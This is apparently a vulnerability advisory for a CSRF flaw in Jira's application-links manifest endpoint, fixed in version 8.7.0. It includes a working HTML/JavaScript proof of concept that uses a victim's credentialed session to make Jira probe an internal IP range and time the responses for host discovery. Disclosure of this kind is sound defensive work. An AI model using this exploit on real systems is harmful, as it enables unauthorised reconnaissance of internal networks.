Synopsis
It is possible to perform a CSRF on the following request for configuring application links: /rest/applinks/3.0/applicationlinkForm/manifest.json
To exploit this vulnerability an attacker would need to convince a user with an active WebSudo session (and permissions to create application links,) to click on a crafted link.
Proof of Concept:
The below code generates a request to the Jira server to initiate the process of creating an application link for a range of IP addresses (this script was set to test the range 172.16.68.220-240 on port 80). The script times how long it takes to get a response from each host, and posts it on a textArea on the web page.
<html>
<head>
<meta name="referrer" content="no-referrer">
</head>
<body>
<h2>CSRF Host Discovery Scanner via the Application Links</h2>
<p><button onclick="startScan()">scan</button>
<br>
<textarea id="textarea" rows=34 cols=50></textarea>
<script>
function startScan() {
doFetch('172.16.68.151', 220, 240);
}
function doFetch(jiraIp, currentIp, endIp) {
var timer = Date.now();
var url = '172.16.68.' + currentIp.toString();
fetch('http://' + jiraIp + ':8080/rest/applinks/3.0/applicationlinkForm/manifest.json?url=http://' + url +'/insertMessageHere:80&_=1572448964763',
{
method: 'GET',
credentials: 'include'
})
.then(function(response) {
return response.text();
})
.then(function(text) {
timer = Date.now() - timer;
document.getElementById("textarea").value += "\nip: " + url + " \tResponse time: " + timer + "ms";
if (currentIp < endIp)
doFetch(jiraIp, currentIp + 1, endIp);
})
}
</script>
</body>
</html>
Solution
Upgrade to 8.7.0 or above.Additional References
https://confluence.atlassian.com/jirasoftware/jira-software-8-7-x-release-notes-990550432.htmlDisclosure Timeline
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